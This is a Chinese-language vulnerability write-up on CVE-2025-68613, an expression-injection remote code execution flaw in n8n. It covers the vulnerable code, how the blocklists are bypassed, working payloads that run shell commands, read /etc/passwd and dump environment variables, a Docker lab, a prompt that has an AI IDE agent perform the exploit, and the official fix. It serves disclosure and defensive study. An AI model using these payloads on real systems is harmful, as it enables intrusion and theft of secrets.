CVE-2025-68613: n8n 表达式注入导致远程代码执行漏洞分析与复现

2026年1月18日
7 分钟阅读
By bx
n8n

CVE-2025-68613: n8n 表达式注入导致远程代码执行漏洞分析与复现

📋 概述

n8n 是一款流行的开源工作流自动化平台,类似于 Zapier 的可自部署替代方案。2025年1月,该项目披露了多个高危安全漏洞,其中 CVE-2025-68613 最为严重,允许拥有工作流编辑权限的攻击者通过表达式注入执行任意系统命令。

漏洞信息

项目详情
CVE编号CVE-2025-68613
CVSS评分9.9-10.0(严重)
影响版本n8n < 1.120.4, < 1.121.1, < 1.122.0
漏洞类型表达式注入 → 远程代码执行 (RCE)
前置条件需要工作流编辑权限
修复版本n8n >= 1.120.4, >= 1.121.1, >= 1.122.0

项目地址: https://github.com/n8n-io/n8n


漏洞分析

源码获取

首先克隆 n8n 漏洞版本:

Terminal window
# 克隆仓库
git clone https://github.com/n8n-io/n8n.git
cd n8n
# 切换到易受攻击版本
git checkout tags/n8n@1.120.0

核心漏洞代码

packages/workflow/src/expression.ts

该方法负责解析和执行 n8n 工作流中的表达式(以 {{ }} 包裹的代码)。

resolveSimpleParameterValue(
parameterValue: NodeParameterValue,
siblingParameters: INodeParameters,
runExecutionData: IRunExecutionData | null,
runIndex: number,
itemIndex: number,
activeNodeName: string,
connectionInputData: INodeExecutionData[],
mode: WorkflowExecuteMode,
additionalKeys: IWorkflowDataProxyAdditionalKeys,
executeData?: IExecuteData,
returnObjectAsString = false,
selfData = {},
contextNodeName?: string,
): NodeParameterValue | INodeParameters | NodeParameterValue[] | INodeParameters[] {
// 检查是否为表达式
if (!isExpression(parameterValue)) {
return parameterValue;
}
// 移除 = 符号
parameterValue = parameterValue.substr(1);
// 创建数据代理 - 构建表达式执行上下文
const dataProxy = new WorkflowDataProxy(
this.workflow,
runExecutionData,
runIndex,
itemIndex,
activeNodeName,
connectionInputData,
siblingParameters,
mode,
additionalKeys,
executeData,
-1,
selfData,
contextNodeName,
);
const data = dataProxy.getDataProxy();
// 漏洞点:不安全地暴露 process 对象
// Support only a subset of process properties
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};
Expression.initializeGlobalContext(data);
// 添加表达式扩展
data.extend = extend;
data.extendOptional = extendOptional;
data[sanitizerName] = sanitizer;
Object.assign(data, extendedFunctions);
// 构造函数检测(可被绕过)
const constructorValidation = new RegExp(/\.\s*constructor/gm);
if (parameterValue.match(constructorValidation)) {
throw new ExpressionError('Expression contains invalid constructor function call', {
causeDetailed: 'Constructor override attempt is not allowed due to security concerns',
runIndex,
itemIndex,
});
}
// 执行表达式
const extendedExpression = extendSyntax(parameterValue);
const returnValue = this.renderExpression(extendedExpression, data);
if (typeof returnValue === 'function') {
if (returnValue.name === 'DateTime')
throw new ApplicationError('this is a DateTime, please access its methods');
throw new ApplicationError('this is a function, please add ()');
} else if (typeof returnValue === 'string') {
return returnValue;
} else if (returnValue !== null && typeof returnValue === 'object') {
if (returnObjectAsString) {
return this.convertObjectValueToString(returnValue);
}
}
return returnValue;
}

漏洞根因

漏洞的核心问题在于 第 68-81 行的 process 对象暴露

// CVE-2025-68613 核心漏洞代码
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};

问题汇总

  1. 浅拷贝问题: 代码创建了一个新对象包含 process 的部分属性,但该对象仍然保留了对原始 process 对象的原型链引用

  2. 原型链泄露: 虽然只暴露了部分属性,但攻击者可以通过原型链访问完整的 process 对象:

    data.processObject.prototypeprocess.mainModulerequire()
  3. 缺少原型隔离: 没有使用 Object.create(null) 创建无原型对象,导致原型链污染攻击成为可能

  4. this 上下文泄露: 在表达式中使用 this 可以访问到整个数据上下文对象,包括 process

现有防护机制分析

n8n 在 Expression.ts 中实现了多层防护,但均可被绕过:

防护1: 全局对象名单

// Prevent Remote Code Execution
data.eval = {};
data.uneval = {};
data.setTimeout = {};
data.setInterval = {};
data.Function = {};
// Prevent requests
data.fetch = {};
data.XMLHttpRequest = {};
// Prevent control abstraction
data.Promise = {};
data.Generator = {};
data.AsyncFunction = {};
// Prevent Reflection
data.Reflect = {};
data.Proxy = {};

通过 this.process.mainModule.require() 原型链访问,不触发黑名单检测

防护2: 构造函数检测 (93-100行)

const constructorValidation = new RegExp(/\.\s*constructor/gm);
if (parameterValue.match(constructorValidation)) {
throw new ExpressionError('Expression contains invalid constructor function call', {
causeDetailed: 'Constructor override attempt is not allowed due to security concerns',
});
}

主要目的是阻止使用 .constructor 关键字进行原型链污染,使用 this.process.mainModule.require 不包含 “constructor” 字符串,可以绕过正则检测

防护3: 环境变量访问控制(默认未启用)

env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env

防护总结

防护机制可绕过绕过方法
全局对象黑名单keyi通过原型链间接访问
构造函数检测keyi使用不含 “constructor” 的路径
环境变量控制keyi仍可访问 mainModule.require()

攻击 Payload 构造

基础 Payload

{{ (function(){
return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()
})() }}

其他 Payload 示例

1. 执行 whoami 命令

{{ (function(){
return this.process.mainModule.require('child_process').execSync('whoami').toString()
})() }}

2. 列出目录内容

{{ (function(){
return this.process.mainModule.require('child_process').execSync('ls -la /').toString()
})() }}

3. 读取环境变量(获取敏感配置)

{{ (function(){
return JSON.stringify(this.process.env, null, 2)
})() }}

4. 读取文件系统(Windows)

{{ (function(){
const fs = this.process.mainModule.require('fs');
return fs.readFileSync('C:\\Windows\\System32\\drivers\\etc\\hosts', 'utf8');
})() }}

漏洞复现

环境搭建

方法1: Docker run

Terminal window
# 拉取易受攻击的版本
docker pull n8nio/n8n:1.120.0
# 启动容器
docker run -d \
--name n8n-vulnerable \
-p 5678:5678 \
-e N8N_BASIC_AUTH_ACTIVE=true \
-e N8N_BASIC_AUTH_USER=admin \
-e N8N_BASIC_AUTH_PASSWORD=admin123 \
n8nio/n8n:1.120.0
# 查看日志
docker logs n8n-vulnerable -f

方法2: Docker Compose

创建 docker-compose.yml:

version: '3.8'
services:
n8n-vulnerable:
image: n8nio/n8n:1.120.0 # 易受攻击版本
container_name: cve-2025-68613-n8n
ports:
- "5678:5678"
environment:
# 基本认证
- N8N_BASIC_AUTH_ACTIVE=true
- N8N_BASIC_AUTH_USER=admin
- N8N_BASIC_AUTH_PASSWORD=admin123
# 服务器配置
- N8N_HOST=localhost
- N8N_PORT=5678
- N8N_PROTOCOL=http
# 执行模式
- EXECUTIONS_MODE=main
volumes:
- n8n_data:/home/node/.n8n
restart: unless-stopped
volumes:
n8n_data:

启动服务:

Terminal window
# 启动
docker-compose up -d
# 查看日志
docker-compose logs -f
# 停止
docker-compose down
# 完全清理(删除数据)
docker-compose down -v

访问地址: http://localhost:5678

利用步骤

Step 1: 登录 n8n

使用我们注册的凭据登录:

  • 用户名: admin@admin.com
  • 密码: admin123

n8n 登录界面

Step 2: 创建工作流

点击 “Add workflow” 或主页的 “Create workflow” 按钮创建新工作流

创建工作流

Step 3: 添加节点

工作流需要两个节点:

  1. Manual Trigger - 手动触发节点

  2. Edit Fields (Set) - 设置字段节点(用于注入 payload)

添加节点

Step 4: 注入 RCE Payload

Edit Fields (Set) 节点中配置:

  1. 字段名称 (Name): 输入 result
  2. 字段值 (Value): 点击右侧的 fx 按钮切换到表达式模式,输入以下 Payload:
{{ (function(){
return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()
})() }}

配置 Payload

Step 5: 执行工作流

点击右上角的 “Test workflow”“Execute Workflow” 按钮

Step 6: 验证结果

执行成功后,可以在输出面板中看到 /etc/passwd 文件的完整内容:

🔍root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

执行结果

漏洞复现成功! 成功在 n8n 容器内执行了系统命令并读取了敏感文件。


使用 Antigravity AI 自动化复现

Google 新推出的 Antigravity AI IDE 具有强大的浏览器自动化能力,可以通过自然语言指令自动完成漏洞复现的全过程。

自动化复现步骤

使用以下 Antigravity 提示词:(这个是我们强制要求的)

借助搜索能力其实anti-gravity可以自动收集漏洞信息进行漏洞尝试

帮我复现 n8n CVE-2025-68613 漏洞,详细步骤如下:
1. 在浏览器中打开 http://localhost:5678
2. 使用 admin/admin123 登录
3. 创建新工作流
4. 添加 Manual Trigger 节点
5. 添加 Edit Fields (Set) 节点并连接
6. 在 Edit Fields 节点中:
- 字段名: result
- 切换到表达式模式
- 注入 Payload
7. 执行工作流
8. 验证输出结果并截图
9. 生成完整的复现视频

Antigravity 会自动完成整个流程

演示视频

完整的自动化复现过程已录制成视频:

B站视频链接: n8n CVE-2025-68613 自动化漏洞复现演示

修复分析和建议

官方修复方案(v1.122.0)

官方通过 AST 静态分析 修复漏洞,核心是禁止访问危险的原型链属性。

核心修复代码

1. 危险属性黑名单 (packages/workflow/src/utils.ts)

const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf'
]);
export function isSafeObjectProperty(property: string) {
return !unsafeObjectProperties.has(property);
}

2. AST 原型链检测器 (packages/workflow/src/expression-sandboxing.ts)

export const PrototypeSanitizer: ASTAfterHook = (ast, dataNode) => {
astVisit(ast, {
visitMemberExpression(path) {
const node = path.node;
// 检查静态属性: obj.property
if (!node.computed) {
if (!isSafeObjectProperty(node.property.name)) {
throw new ExpressionError(
`Cannot access "${node.property.name}" due to security concerns`
);
}
}
// 检查字符串字面量: obj['property']
else if (node.property.type === 'StringLiteral') {
if (!isSafeObjectProperty(node.property.value)) {
throw new ExpressionError(
`Cannot access "${node.property.value}" due to security concerns`
);
}
}
// 动态属性包装为运行时检查: obj[expr] → obj[sanitizer(expr)]
else {
path.replace(
b.memberExpression(node.object,
b.callExpression(sanitizerIdentifier, [node.property]),
true
)
);
}
},
});
};

3. Tournament 沙箱引擎 (packages/workflow/src/expression-evaluator-proxy.ts)

const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [FunctionThisSanitizer], // 清理 this 绑定(严格模式)
after: [PrototypeSanitizer, DollarSignValidator] // 检查危险属性
});

修复机制

  1. FunctionThisSanitizer: 在 IIFE 中插入 'use strict',使 thisundefined

  2. PrototypeSanitizer: 在执行前遍历 AST,阻止访问原型链属性

  3. 运行时检查: 动态属性访问包装为 sanitizer() 调用

原始 Payload this.process.mainModule 被阻止的原因:

  1. 严格模式下 thisundefined
  2. 即使绕过,prototype/constructor 等访问会被 AST 检测阻止

升级建议

Terminal window
npm update n8n -g